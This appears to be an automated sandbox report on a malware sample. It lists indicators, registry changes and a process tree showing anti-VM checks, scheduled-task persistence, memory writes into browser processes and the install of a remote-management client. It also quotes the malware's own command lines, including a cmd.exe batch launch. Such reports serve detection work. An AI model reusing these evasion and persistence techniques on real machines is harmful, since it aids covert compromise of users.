Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

Processes:

chrome.exemsedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 238 Go-http-client/1.1

description	flow	ioc
HTTP User-Agent header	238	Go-http-client/1.1

Modifies data under HKEY_USERS 13 IoCs

Processes:

ITSMService.exepython_x86_Lib.exemsiexec.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	ITSMService.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ITSMService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	python_x86_Lib.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	python_x86_Lib.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	python_x86_Lib.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	ITSMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	ITSMService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	ITSMService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	python_x86_Lib.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	python_x86_Lib.exe

Modifies registry class 25 IoCs

Processes:

msiexec.exedropperrr.exefirefox.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Roaming\\DirectX11\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DD4D523EF099D7E42B1DBDFD40CF9061	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07EFF3737FF5D2942A4FC0A6518D5D30\DefaultFeature	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Language = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DD4D523EF099D7E42B1DBDFD40CF9061\07EFF3737FF5D2942A4FC0A6518D5D30	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\PackageCode = "D7076E96D3235814DB26ACC95D2BAD84"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Roaming\\DirectX11\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000_Classes\Local Settings	dropperrr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\PackageName = "em_TaWHWZA1_installer_Win7-Win11_x86_x64.msi.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\ProductIcon = "C:\\Windows\\Installer\\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\\icon.ico"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07EFF3737FF5D2942A4FC0A6518D5D30	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Version = "151109272"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2721909339-1374969515-2476821579-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\ProductName = "Endpoint Manager Communication Client"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\InstanceType = "0"	msiexec.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

3308 schtasks.exe
7252 schtasks.exe
Suspicious behavior: AddClipboardFormatListener 3 IoCs

Processes:

ITSMAgent.exeITSMAgent.exeITSMAgent.exe

pid process

7240 ITSMAgent.exe
2380 ITSMAgent.exe
4080 ITSMAgent.exe

pid	process
3308	schtasks.exe
7252	schtasks.exe

pid	process
7240	ITSMAgent.exe
2380	ITSMAgent.exe
4080	ITSMAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exeexplorti.exemsedge.exemsedge.exechrome.exec5d6d3a173.exeaxplong.exeRegAsm.exeaxplong.exeexplorti.exepureee.exeexplorti.exeaxplong.exechrome.exemsedge.exemsiexec.exe

pid	process
3892	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe
3892	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe
2144	explorti.exe
2144	explorti.exe
2508	msedge.exe
2508	msedge.exe
4644	msedge.exe
4644	msedge.exe
3076	chrome.exe
3076	chrome.exe
5680	c5d6d3a173.exe
5680	c5d6d3a173.exe
6328	axplong.exe
6328	axplong.exe
7128	RegAsm.exe
7128	RegAsm.exe
7128	RegAsm.exe
6176	axplong.exe
6176	axplong.exe
664	explorti.exe
664	explorti.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
7920	explorti.exe
7920	explorti.exe
7916	axplong.exe
7916	axplong.exe
6712	pureee.exe
6712	pureee.exe
8004	chrome.exe
8004	chrome.exe
7108	msedge.exe
7108	msedge.exe
7108	msedge.exe
7108	msedge.exe
8004	chrome.exe
8004	chrome.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6712	pureee.exe
6644	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

Processes:

msedge.exechrome.exe

pid process

4644 msedge.exe
4644 msedge.exe
4644 msedge.exe
3076 chrome.exe
3076 chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exefirefox.exeRegAsm.exe

description	pid	process
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeDebugPrivilege	5064	firefox.exe
Token: SeDebugPrivilege	5064	firefox.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeDebugPrivilege	7128	RegAsm.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe
Token: SeCreatePagefilePrivilege	3076	chrome.exe
Token: SeShutdownPrivilege	3076	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exemsedge.exefirefox.exechrome.exe

pid	process
3892	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

msedge.exefirefox.exechrome.exe

pid	process
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
4644	msedge.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
5064	firefox.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe
3076	chrome.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

firefox.exe84743dcfde.exeITSMService.exeITSMAgent.exeITSMAgent.exeITSMAgent.exe

pid	process
5064	firefox.exe
6056	84743dcfde.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
6896	ITSMService.exe
7240	ITSMAgent.exe
2380	ITSMAgent.exe
4080	ITSMAgent.exe
6896	ITSMService.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exeexplorti.exe73b79a2459.execmd.exechrome.exemsedge.exefirefox.exefirefox.exe

description	pid	process	target process
PID 3892 wrote to memory of 2144	3892	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe	explorti.exe
PID 3892 wrote to memory of 2144	3892	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe	explorti.exe
PID 3892 wrote to memory of 2144	3892	5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe	explorti.exe
PID 2144 wrote to memory of 4824	2144	explorti.exe	73b79a2459.exe
PID 2144 wrote to memory of 4824	2144	explorti.exe	73b79a2459.exe
PID 2144 wrote to memory of 4824	2144	explorti.exe	73b79a2459.exe
PID 4824 wrote to memory of 4836	4824	73b79a2459.exe	cmd.exe
PID 4824 wrote to memory of 4836	4824	73b79a2459.exe	cmd.exe
PID 4836 wrote to memory of 3076	4836	cmd.exe	chrome.exe
PID 4836 wrote to memory of 3076	4836	cmd.exe	chrome.exe
PID 4836 wrote to memory of 4644	4836	cmd.exe	msedge.exe
PID 4836 wrote to memory of 4644	4836	cmd.exe	msedge.exe
PID 4836 wrote to memory of 3136	4836	cmd.exe	firefox.exe
PID 4836 wrote to memory of 3136	4836	cmd.exe	firefox.exe
PID 3076 wrote to memory of 4004	3076	chrome.exe	chrome.exe
PID 3076 wrote to memory of 4004	3076	chrome.exe	chrome.exe
PID 4644 wrote to memory of 1020	4644	msedge.exe	msedge.exe
PID 4644 wrote to memory of 1020	4644	msedge.exe	msedge.exe
PID 3136 wrote to memory of 5064	3136	firefox.exe	firefox.exe
PID 3136 wrote to memory of 5064	3136	firefox.exe	firefox.exe
PID 3136 wrote to memory of 5064	3136	firefox.exe	firefox.exe
PID 3136 wrote to memory of 5064	3136	firefox.exe	firefox.exe
PID 3136 wrote to memory of 5064	3136	firefox.exe	firefox.exe
PID 3136 wrote to memory of 5064	3136	firefox.exe	firefox.exe
PID 3136 wrote to memory of 5064	3136	firefox.exe	firefox.exe
PID 3136 wrote to memory of 5064	3136	firefox.exe	firefox.exe
PID 3136 wrote to memory of 5064	3136	firefox.exe	firefox.exe
PID 3136 wrote to memory of 5064	3136	firefox.exe	firefox.exe
PID 3136 wrote to memory of 5064	3136	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe
PID 5064 wrote to memory of 4940	5064	firefox.exe	firefox.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe
"C:\Users\Admin\AppData\Local\Temp\5d8088a0a17b246489c5804ef0760c6acedcdae822584b8ad8eb26ee020f7a1e.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3892

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
"C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2144

C:\Users\Admin\AppData\Local\Temp\1000020001\73b79a2459.exe
"C:\Users\Admin\AppData\Local\Temp\1000020001\73b79a2459.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4824

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D997.tmp\D998.tmp\D999.bat C:\Users\Admin\AppData\Local\Temp\1000020001\73b79a2459.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:4836

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
5⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3076

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffa1279cc40,0x7ffa1279cc4c,0x7ffa1279cc58
6⤵
PID:4004

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1932,i,2466662330440772873,14513629541099201731,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=1928 /prefetch:2
6⤵
PID:4732

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2112,i,2466662330440772873,14513629541099201731,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=2140 /prefetch:3
6⤵
PID:4544

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2252,i,2466662330440772873,14513629541099201731,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=2268 /prefetch:8
6⤵
PID:3248

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3148,i,2466662330440772873,14513629541099201731,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=3164 /prefetch:1
6⤵
PID:5388

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3152,i,2466662330440772873,14513629541099201731,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=3300 /prefetch:1
6⤵
PID:5400

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=220,i,2466662330440772873,14513629541099201731,262144 --variations-seed-version=20240729-180130.470000 --mojo-platform-channel-handle=3704 /prefetch:8
6⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:8004

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
5⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4644

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffa126546f8,0x7ffa12654708,0x7ffa12654718
6⤵
PID:1020

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
